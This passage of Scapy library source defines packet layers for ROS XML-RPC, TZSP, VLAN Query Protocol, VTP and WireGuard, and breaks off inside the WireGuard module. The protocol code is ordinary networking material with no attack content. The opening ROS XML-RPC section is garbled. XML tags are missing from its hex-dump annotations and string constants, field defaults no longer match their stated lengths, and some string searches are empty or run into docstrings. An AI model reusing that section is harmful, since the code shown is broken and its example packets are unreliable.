2F 9D 09 47 7F EC C3 08 BD 80 18 ....,/..G....... 0030 01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1 ............h.9. 0040 E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54 ..POST /RPC2 HTT 0050 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E P/1.1..Host: 12. 0060 30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63 0.0.2:11311..Acc 0070 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz 0080 69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 ip..User-Agent: 0090 78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30 xmlrpclib.py/1.0 00a0 2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F .1 (by www.pytho 00b0 6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74 nware.com)..Cont 00c0 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78 ent-Type: text/x 00d0 6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 ml..Content-Leng 00e0 74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C th: 227.... 0100 0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D ..getPar 0120 61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A am. 0130 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E . 0140 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E . 0150 2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C /rosparam-82043< 0160 2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E /string> 0170 0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D .../rosdistro.

.. 01c0 3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A
. Sources: - https://aliasrobotics.com/files/ securing_robot_endpoints_ot_environment.pdf - http://wiki.ros.org/ROS/Master_API - http://wiki.ros.org/ROS/Slave_API - http://wiki.ros.org/ROS/Parameter%20Server%20API """ name = "XMLRPC" def guess_payload_class(self, payload): string_payload = payload.decode("iso-8859-1") # decode for search # total_length = len(payload) if "xml" in string_payload and "version='1.0'" in string_payload: if isinstance(self.underlayer, HTTPRequest): return XMLRPCCall elif isinstance(self.underlayer, HTTPResponse): return XMLRPCResponse else: print("failed to match") return Raw else: return Raw(self, payload) # returns Raw layer grouping not only # the payload but this layer itself. # Fields class XMLRPCSeparator(ByteField): """ Separator of XML-RPC components - 0x0a """ def __init__(self, name, default="0x0a"): ByteField.__init__(self, name, default) # Packages class XMLRPCCall(Packet): """ Request side of the ROS XMLPC elements used by Master and Parameter APIs Exemplary package:: 0000 02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00 .B.....B......E. 0010 01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00 ...r@.@......... 0020 00 02 90 10 2C 2F 9D 09 47 7F EC C3 08 BD 80 18 ....,/..G....... 0030 01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1 ............h.9. 0040 E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54 ..POST /RPC2 HTT 0050 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E P/1.1..Host: 12. 0060 30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63 0.0.2:11311..Acc 0070 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz 0080 69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 ip..User-Agent: 0090 78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30 xmlrpclib.py/1.0 00a0 2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F .1 (by www.pytho 00b0 6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74 nware.com)..Cont 00c0 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78 ent-Type: text/x 00d0 6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 ml..Content-Leng 00e0 74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C th: 227.... 0100 0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D ..getPar 0120 61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A am. 0130 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E . 0140 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E . 0150 2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C /rosparam-82043< 0160 2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E /string> 0170 0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D .../rosdistro.

.
. 01c0 3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A
. """ name = "XMLRPCCall" __slots__ = Packet.__slots__ + ["methodname_size", "params_size"] fields_desc = [ # .. StrFixedLenField( "version", "\n", length=22, # 22 ), # XMLRPCSeparator("separator_version"), StrFixedLenField("methodcall_opentag", "\n", length=13), # getParam. StrFixedLenField("methodname_opentag", "", length=12), StrLenField("methodname", "getParam", length_from=lambda pkt: pkt.methodname_size), StrFixedLenField("methodname_closetag", "\n", length=14), # . StrFixedLenField("params_opentag", "\n", length=9), # [./rosparam-82043..] StrLenField( "params", "\n/rosparam-82043" + \ "\n\n", length_from=lambda pkt: pkt.params_size, ), # .. StrFixedLenField("params_closetag", "\n", length=10), StrFixedLenField("methodcall_closetag", "\n", length=14), ] def pre_dissect(self, s): """ Calculate the sizes of: - methodname - params See https://docs.python.org/3/library/struct.html for the unpack (e.g. "") + len(""):decoded_s.find("") ] ) self.params_size = len( decoded_s[ decoded_s.find("\n") + len("\n"):decoded_s.find("") ] ) if conf.debug_dissector: print(self.methodname_size) print(self.params_size) return s def do_dissect_payload(self, s): self.guess_payload_class(s) class XMLRPCResponse(Packet): """ Response side of the ROS XMLPC elements used by Master and Parameter APIs Exemplary package:: 0000 02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00 .B.....B......E. 0010 01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00 ....@.@......... 0020 00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18 ..,/.b...L...... 0030 01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36 ..........9.K{.6 0040 D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F ..HTTP/1.1 200 O 0050 4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48 K..Server: BaseH 0060 54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32 TTP/0.3 Python/2 0070 2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E .7.17..Date: Sun 0080 2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35 , 06 Dec 2020 15 0090 3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74 :17:38 GMT..Cont 00a0 65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78 ent-type: text/x 00b0 6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67 ml..Content-leng 00c0 74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C th: 229.... 00e0 0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 .....< 0120 69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C int>1..398..... """ name = "XMLRPCResponse" __slots__ = Packet.__slots__ + ["params_size"] fields_desc = [ # \n StrFixedLenField("version", "\n", length=22), # XMLRPCSeparator("separator_version"), # \n StrFixedLenField("methodcall_opentag", "\n", length=17), # \n StrFixedLenField("params_opentag", "\n", length=9), # \n\n # 1\n # Parameter [/rosdistro]\n # melodic\n\n # \n\n StrLenField("params", "", length_from=lambda pkt: pkt.params_size), # \n\n StrFixedLenField("params_closetag", "\n", length=10), StrFixedLenField("methodcall_closetag", "\n", length=18), ] def pre_dissect(self, s): """ Calculate the sizes of: - methodname - params See https://docs.python.org/3/library/struct.html for the unpack (e.g. "\n") + len("\n"):decoded_s.find("") ] ) if conf.debug_dissector: print(self.params_size) return s def do_dissect_payload(self, s): self.guess_payload_class(s) ================================================ FILE: scapy/contrib/tzsp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = TaZmen Sniffer Protocol (TZSP) # scapy.contrib.status = loads """ TZSP - TaZmen Sniffer Protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :description: This module provides Scapy layers for the TZSP protocol. references: - https://en.wikipedia.org/wiki/TZSP - https://web.archive.org/web/20050404125022/http://www.networkchemistry.com/support/appnotes/an001_tzsp.html # noqa: E501 :NOTES: - to allow Scapy to dissect this layer automatically, you need to bind the TZSP layer to UDP using # noqa: E501 the default TZSP port (0x9090), e.g. bind_layers(UDP, TZSP, sport=TZSP_PORT_DEFAULT) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) - packet format definition from www.networkchemistry.com is different from the one given by wikipedia # noqa: E501 - seems Wireshark implements the wikipedia protocol version (didn't dive into their code) # noqa: E501 - observed (miss)behavior of Wireshark (2.2.6) - fails to decode RSSI & SNR using short values - only one byte taken - SNR is labeled as silence - WlanRadioHdrSerial is labeled as Sensor MAC - doesn't know the packet count tag (40 / 0x28) """ from scapy.compat import orb from scapy.contrib.avs import AVSWLANHeader from scapy.error import warning, Scapy_Exception from scapy.fields import ByteField, ShortEnumField, IntField, FieldLenField, YesNoByteField # noqa: E501 from scapy.layers.dot11 import Packet, Dot11, PrismHeader from scapy.layers.l2 import Ether from scapy.fields import StrLenField, ByteEnumField, ShortField, XStrLenField from scapy.packet import Raw TZSP_PORT_DEFAULT = 0x9090 class TZSP(Packet): TYPE_RX_PACKET = 0x00 TYPE_TX_PACKET = 0x01 TYPE_CONFIG = 0x03 TYPE_KEEPALIVE = TYPE_NULL = 0x04 TYPE_PORT = 0x05 TYPES = { TYPE_RX_PACKET: 'RX_PACKET', TYPE_TX_PACKET: 'TX_PACKET', TYPE_CONFIG: 'CONFIG', TYPE_NULL: 'KEEPALIVE/NULL', TYPE_PORT: 'PORT', } ENCAPSULATED_ETHERNET = 0x01 ENCAPSULATED_IEEE_802_11 = 0x12 ENCAPSULATED_PRISM_HEADER = 0x77 ENCAPSULATED_WLAN_AVS = 0x7f ENCAPSULATED_PROTOCOLS = { ENCAPSULATED_ETHERNET: 'ETHERNET', ENCAPSULATED_IEEE_802_11: 'IEEE 802.11', ENCAPSULATED_PRISM_HEADER: 'PRISM HEADER', ENCAPSULATED_WLAN_AVS: 'WLAN AVS' } ENCAPSULATED_PROTOCOL_CLASSES = { ENCAPSULATED_ETHERNET: Ether, ENCAPSULATED_IEEE_802_11: Dot11, ENCAPSULATED_PRISM_HEADER: PrismHeader, ENCAPSULATED_WLAN_AVS: AVSWLANHeader } fields_desc = [ ByteField('version', 0x01), ByteEnumField('type', TYPE_RX_PACKET, TYPES), ShortEnumField('encapsulated_protocol', ENCAPSULATED_ETHERNET, ENCAPSULATED_PROTOCOLS) # noqa: E501 ] def get_encapsulated_payload_class(self): """ get the class that holds the encapsulated payload of the TZSP packet :return: class representing the payload, Raw() on error """ try: return TZSP.ENCAPSULATED_PROTOCOL_CLASSES[self.encapsulated_protocol] # noqa: E501 except KeyError: warning( 'unknown or invalid encapsulation type (%i) - returning payload as raw()' % self.encapsulated_protocol) # noqa: E501 return Raw def guess_payload_class(self, payload): if self.type == TZSP.TYPE_KEEPALIVE: if len(payload): warning('payload (%i bytes) in KEEPALIVE/NULL packet', len(payload)) return Raw else: return _tzsp_guess_next_tag(payload) def get_encapsulated_payload(self): has_encapsulated_data = self.type == TZSP.TYPE_RX_PACKET or self.type == TZSP.TYPE_TX_PACKET # noqa: E501 if has_encapsulated_data: end_tag_lyr = self.payload.getlayer(TZSPTagEnd) if end_tag_lyr: return end_tag_lyr.payload else: return None def _tzsp_handle_unknown_tag(payload, tag_type): payload_len = len(payload) if payload_len < 2: warning('invalid or unknown tag type (%i) and too short packet - ' 'treat remaining data as Raw', tag_type) return Raw tag_data_length = orb(payload[1]) tag_data_fits_in_payload = (tag_data_length + 2) <= payload_len if not tag_data_fits_in_payload: warning('invalid or unknown tag type (%i) and too short packet - ' 'treat remaining data as Raw', tag_type) return Raw warning('invalid or unknown tag type (%i)', tag_type) return TZSPTagUnknown def _tzsp_guess_next_tag(payload): """ :return: class representing the next tag, Raw on error, None on missing payload # noqa: E501 """ if not payload: warning('missing payload') return None tag_type = orb(payload[0]) try: tag_class_definition = _TZSP_TAG_CLASSES[tag_type] except KeyError: return _tzsp_handle_unknown_tag(payload, tag_type) if type(tag_class_definition) is not dict: return tag_class_definition try: length = orb(payload[1]) except IndexError: length = None if not length: warning('no tag length given - packet too short') return Raw try: return tag_class_definition[length] except KeyError: warning('invalid tag length %s for tag type %s', length, tag_type) return Raw class _TZSPTag(Packet): TAG_TYPE_PADDING = 0x00 TAG_TYPE_END = 0x01 TAG_TYPE_RAW_RSSI = 0x0a TAG_TYPE_SNR = 0x0b TAG_TYPE_DATA_RATE = 0x0c TAG_TYPE_TIMESTAMP = 0x0d TAG_TYPE_CONTENTION_FREE = 0x0f TAG_TYPE_DECRYPTED = 0x10 TAG_TYPE_FCS_ERROR = 0x11 TAG_TYPE_RX_CHANNEL = 0x12 TAG_TYPE_PACKET_COUNT = 0x28 TAG_TYPE_RX_FRAME_LENGTH = 0x29 TAG_TYPE_WLAN_RADIO_HDR_SERIAL = 0x3c TAG_TYPES = { TAG_TYPE_PADDING: 'PADDING', TAG_TYPE_END: 'END', TAG_TYPE_RAW_RSSI: 'RAW_RSSI', TAG_TYPE_SNR: 'SNR', TAG_TYPE_DATA_RATE: 'DATA_RATE', TAG_TYPE_TIMESTAMP: 'TIMESTAMP', TAG_TYPE_CONTENTION_FREE: 'CONTENTION_FREE', TAG_TYPE_DECRYPTED: 'DECRYPTED', TAG_TYPE_FCS_ERROR: 'FCS_ERROR', TAG_TYPE_RX_CHANNEL: 'RX_CHANNEL', TAG_TYPE_PACKET_COUNT: 'PACKET_COUNT', TAG_TYPE_RX_FRAME_LENGTH: 'RX_FRAME_LENGTH', TAG_TYPE_WLAN_RADIO_HDR_SERIAL: 'WLAN_RADIO_HDR_SERIAL' } def guess_payload_class(self, payload): return _tzsp_guess_next_tag(payload) class TZSPStructureException(Scapy_Exception): pass class TZSPTagPadding(_TZSPTag): """ padding tag (should be ignored) """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_PADDING, _TZSPTag.TAG_TYPES), ] class TZSPTagEnd(Packet): """ last tag """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_END, _TZSPTag.TAG_TYPES), ] def guess_payload_class(self, payload): """ the type of the payload encapsulation is given be the outer TZSP layers attribute encapsulation_protocol # noqa: E501 """ under_layer = self.underlayer tzsp_header = None while under_layer: if isinstance(under_layer, TZSP): tzsp_header = under_layer break under_layer = under_layer.underlayer if tzsp_header: return tzsp_header.get_encapsulated_payload_class() else: raise TZSPStructureException('missing parent TZSP header') class TZSPTagRawRSSIByte(_TZSPTag): """ relative received signal strength - signed byte value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteField('raw_rssi', 0) ] class TZSPTagRawRSSIShort(_TZSPTag): """ relative received signal strength - signed short value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), ByteField('len', 2), ShortField('raw_rssi', 0) ] class TZSPTagSNRByte(_TZSPTag): """ signal noise ratio - signed byte value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteField('snr', 0) ] class TZSPTagSNRShort(_TZSPTag): """ signal noise ratio - signed short value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), ByteField('len', 2), ShortField('snr', 0) ] class TZSPTagDataRate(_TZSPTag): """ wireless link data rate """ DATA_RATE_UNKNOWN = 0x00 DATA_RATE_1 = 0x02 DATA_RATE_2 = 0x04 DATA_RATE_5_5 = 0x0B DATA_RATE_6 = 0x0C DATA_RATE_9 = 0x12 DATA_RATE_11 = 0x16 DATA_RATE_12 = 0x18 DATA_RATE_18 = 0x24 DATA_RATE_22 = 0x2C DATA_RATE_24 = 0x30 DATA_RATE_33 = 0x42 DATA_RATE_36 = 0x48 DATA_RATE_48 = 0x60 DATA_RATE_54 = 0x6C DATA_RATE_LEGACY_1 = 0x0A DATA_RATE_LEGACY_2 = 0x14 DATA_RATE_LEGACY_5_5 = 0x37 DATA_RATE_LEGACY_11 = 0x6E DATA_RATES = { DATA_RATE_UNKNOWN: 'unknown', DATA_RATE_1: '1 MB/s', DATA_RATE_2: '2 MB/s', DATA_RATE_5_5: '5.5 MB/s', DATA_RATE_6: '6 MB/s', DATA_RATE_9: '9 MB/s', DATA_RATE_11: '11 MB/s', DATA_RATE_12: '12 MB/s', DATA_RATE_18: '18 MB/s', DATA_RATE_22: '22 MB/s', DATA_RATE_24: '24 MB/s', DATA_RATE_33: '33 MB/s', DATA_RATE_36: '36 MB/s', DATA_RATE_48: '48 MB/s', DATA_RATE_54: '54 MB/s', DATA_RATE_LEGACY_1: '1 MB/s (legacy)', DATA_RATE_LEGACY_2: '2 MB/s (legacy)', DATA_RATE_LEGACY_5_5: '5.5 MB/s (legacy)', DATA_RATE_LEGACY_11: '11 MB/s (legacy)', } fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_DATA_RATE, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteEnumField('data_rate', DATA_RATE_UNKNOWN, DATA_RATES) ] class TZSPTagTimestamp(_TZSPTag): """ MAC receive timestamp """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_TIMESTAMP, _TZSPTag.TAG_TYPES), ByteField('len', 4), IntField('timestamp', 0) ] class TZSPTagContentionFree(_TZSPTag): """ packet received in contention free period """ NO = 0x00 YES = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_CONTENTION_FREE, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 1), YesNoByteField('contention_free', NO) ] class TZSPTagDecrypted(_TZSPTag): """ packet was decrypted """ YES = 0x00 NO = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_DECRYPTED, _TZSPTag.TAG_TYPES), ByteField('len', 1), YesNoByteField('decrypted', NO, config={'yes': YES, 'no': (NO, 0xff)}) ] class TZSPTagError(_TZSPTag): """ frame checksum error """ NO = 0x00 YES = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_FCS_ERROR, _TZSPTag.TAG_TYPES), ByteField('len', 1), YesNoByteField('fcs_error', NO, config={'no': NO, 'yes': YES, 'reserved': (YES + 1, 0xff)}) # noqa: E501 ] class TZSPTagRXChannel(_TZSPTag): """ channel the sensor was on while receiving the frame """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_CHANNEL, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 1), ByteField('rx_channel', 0) ] class TZSPTagPacketCount(_TZSPTag): """ packet counter """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_PACKET_COUNT, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 4), IntField('packet_count', 0) ] class TZSPTagRXFrameLength(_TZSPTag): """ received packet length """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 2), ShortField('rx_frame_length', 0) ] class TZSPTagWlanRadioHdrSerial(_TZSPTag): """ (vendor specific) unique capture device (sensor/AP) identifier """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL, _TZSPTag.TAG_TYPES), # noqa: E501 FieldLenField('len', None, length_of='sensor_id', fmt='b'), StrLenField('sensor_id', '', length_from=lambda pkt:pkt.len) ] class TZSPTagUnknown(_TZSPTag): """ unknown tag type dummy """ fields_desc = [ ByteField('type', 0xff), FieldLenField('len', None, length_of='data', fmt='b'), XStrLenField('data', '', length_from=lambda pkt: pkt.len) ] _TZSP_TAG_CLASSES = { _TZSPTag.TAG_TYPE_PADDING: TZSPTagPadding, _TZSPTag.TAG_TYPE_END: TZSPTagEnd, _TZSPTag.TAG_TYPE_RAW_RSSI: {1: TZSPTagRawRSSIByte, 2: TZSPTagRawRSSIShort}, # noqa: E501 _TZSPTag.TAG_TYPE_SNR: {1: TZSPTagSNRByte, 2: TZSPTagSNRShort}, _TZSPTag.TAG_TYPE_DATA_RATE: TZSPTagDataRate, _TZSPTag.TAG_TYPE_TIMESTAMP: TZSPTagTimestamp, _TZSPTag.TAG_TYPE_CONTENTION_FREE: TZSPTagContentionFree, _TZSPTag.TAG_TYPE_DECRYPTED: TZSPTagDecrypted, _TZSPTag.TAG_TYPE_FCS_ERROR: TZSPTagError, _TZSPTag.TAG_TYPE_RX_CHANNEL: TZSPTagRXChannel, _TZSPTag.TAG_TYPE_PACKET_COUNT: TZSPTagPacketCount, _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH: TZSPTagRXFrameLength, _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL: TZSPTagWlanRadioHdrSerial } ================================================ FILE: scapy/contrib/vqp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = VLAN Query Protocol # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import ( ByteEnumField, ByteField, FieldLenField, IPField, IntEnumField, IntField, MACField, MultipleTypeField, StrLenField, ) from scapy.layers.inet import UDP class VQP(Packet): name = "VQP" fields_desc = [ ByteField("const", 1), ByteEnumField("type", 1, { 1: "requestPort", 2: "responseVLAN", 3: "requestReconfirm", 4: "responseReconfirm" }), ByteEnumField("errorcodeaction", 0, { 0: "none", 3: "accessDenied", 4: "shutdownPort", 5: "wrongDomain" }), ByteEnumField("unknown", 2, { 2: "inGoodResponse", 6: "inRequests" }), IntField("seq", 0), ] class VQPEntry(Packet): name = "VQPEntry" fields_desc = [ IntEnumField("datatype", 0, { 3073: "clientIPAddress", 3074: "portName", 3075: "VLANName", 3076: "Domain", 3077: "ethernetPacket", 3078: "ReqMACAddress", 3079: "unknown", 3080: "ResMACAddress" }), FieldLenField("len", None, length_of="data", fmt="H"), MultipleTypeField( [ (IPField("data", "0.0.0.0"), lambda p: p.datatype == 3073), (MACField("data", "00:00:00:00:00:00"), lambda p: p.datatype in [3078, 3080]), ], StrLenField("data", None, length_from=lambda p: p.len) ) ] bind_bottom_up(UDP, VQP, sport=1589) bind_bottom_up(UDP, VQP, dport=1589) bind_layers(UDP, VQP, sport=1589, dport=1589) bind_layers(VQP, VQPEntry,) bind_layers(VQPEntry, VQPEntry,) ================================================ FILE: scapy/contrib/vtp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = VLAN Trunking Protocol (VTP) # scapy.contrib.status = loads r""" VTP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-02-15 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO: - Join messages - RE MD5 hash calculation - Have a closer look at 8 byte padding in summary adv: "debug sw-vlan vtp packets" says the TLV length is invalid, when I change the values: ``b'\x00\x00\x00\x01\x06\x01\x00\x02'`` * \x00\x00 ? * \x00\x01 tlvtype? * \x06 length? * \x00\x02 value? - h2i function for VTPTimeStampField :References: - | Understanding VLAN Trunk Protocol (VTP) | http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml # noqa: E501 """ from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ FieldLenField, IPField, PacketListField, ShortField, SignedIntField, \ StrFixedLenField, StrLenField, XIntField from scapy.layers.l2 import SNAP from scapy.compat import chb from scapy.config import conf _VTP_VLAN_TYPE = { 1: 'Ethernet', 2: 'FDDI', 3: 'TrCRF', 4: 'FDDI-net', 5: 'TrBRF' } _VTP_VLANINFO_TLV_TYPE = { 0x01: 'Source-Routing Ring Number', 0x02: 'Source-Routing Bridge Number', 0x03: 'Spanning-Tree Protocol Type', 0x04: 'Parent VLAN', 0x05: 'Translationally Bridged VLANs', 0x06: 'Pruning', 0x07: 'Bridge Type', 0x08: 'Max ARE Hop Count', 0x09: 'Max STE Hop Count', 0x0A: 'Backup CRF Mode' } class VTPVlanInfoTlv(Packet): name = "VTP VLAN Info TLV" fields_desc = [ ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE), ByteField("length", 0), StrLenField("value", None, length_from=lambda pkt: pkt.length + 1) ] def guess_payload_class(self, p): return conf.padding_layer class VTPVlanInfo(Packet): name = "VTP VLAN Info" fields_desc = [ ByteField("len", None), ByteEnumField("status", 0, {0: "active", 1: "suspended"}), ByteEnumField("type", 1, _VTP_VLAN_TYPE), FieldLenField("vlannamelen", None, "vlanname", "B"), ShortField("vlanid", 1), ShortField("mtu", 1500), XIntField("dot10index", None), StrLenField("vlanname", "default", length_from=lambda pkt: 4 * ((pkt.vlannamelen + 3) // 4)), ConditionalField( PacketListField( "tlvlist", [], VTPVlanInfoTlv, length_from=lambda pkt: pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) // 4)) # noqa: E501 ), lambda pkt:pkt.type not in [1, 2] ) ] def post_build(self, p, pay): vlannamelen = 4 * ((len(self.vlanname) + 3) // 4) if self.len is None: tmp_len = vlannamelen + 12 p = chb(tmp_len & 0xff) + p[1:] # Pad vlan name with zeros if vlannamelen > len(vlanname) tmp_len = vlannamelen - len(self.vlanname) if tmp_len != 0: p += b"\x00" * tmp_len p += pay return p def guess_payload_class(self, p): return conf.padding_layer _VTP_Types = { 1: 'Summary Advertisement', 2: 'Subset Advertisements', 3: 'Advertisement Request', 4: 'Join' } class VTPTimeStampField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 12) def i2repr(self, pkt, x): return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12]) # noqa: E501 class VTP(Packet): name = "VTP" fields_desc = [ ByteField("ver", 2), ByteEnumField("code", 1, _VTP_Types), ConditionalField(ByteField("followers", 1), lambda pkt:pkt.code == 1), ConditionalField(ByteField("seq", 1), lambda pkt:pkt.code == 2), ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.code == 3), ByteField("domnamelen", None), StrFixedLenField("domname", "manbearpig", 32), ConditionalField(SignedIntField("rev", 0), lambda pkt:pkt.code == 1 or pkt.code == 2), # updater identity ConditionalField(IPField("uid", "192.168.0.1"), lambda pkt:pkt.code == 1), ConditionalField(VTPTimeStampField("timestamp", '930301000000'), lambda pkt:pkt.code == 1), ConditionalField(StrFixedLenField("md5", b"\x00" * 16, 16), lambda pkt:pkt.code == 1), ConditionalField( PacketListField("vlaninfo", [], VTPVlanInfo), lambda pkt: pkt.code == 2), ConditionalField(ShortField("startvalue", 0), lambda pkt:pkt.code == 3) ] def post_build(self, p, pay): if self.domnamelen is None: domnamelen = len(self.domname.strip(b"\x00")) p = p[:3] + chb(domnamelen & 0xff) + p[4:] p += pay return p bind_layers(SNAP, VTP, code=0x2003) if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner="VTP") ================================================ FILE: scapy/contrib/wireguard.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = WireGuard # scapy.contrib.status = loads """WireGuard Module Implements the WireGuard network tunnel protocol. Based on the whitepaper: https://www.wireguard.com/papers/wireguard.pdf """ from scapy.fields import ByteEnumField, ThreeBytesField, XLEIntField, \ XStrFixedLenField, XLELongField, XStrField from scapy.layers.inet import UDP from scapy.packet import Packet, bind_layers class Wireguard(Packet): """ Wrapper that only contains the message type. """ name = "Wireguard" fields_desc = [ ByteEnumField( "message_type", 1, { 1: "initiate", 2: "respond", 3: "cookie reply", 4: "transport" } ), ThreeBytesField("reserved_zero", 0) ] class WireguardInitiation(Packet): name = "Wireguard Initiation" fields_desc = [ XLEIntField("sender_index", 0), XStrFixedLenField("unencrypted_ephemeral", 0, 32), XStrFixedLenField("encrypted_static", 0, 48), XStrFixedLenField("encrypted_timestamp", 0, 28), XStrFixedLenField("mac1", 0, 16), XStrFixedLenField("mac2", 0, 16), ] class WireguardResponse(Packet): name = "Wireguard Response" fields_desc = [ XLEIntField("sender_index", 0), XLEIntField("receiver_index", 0), 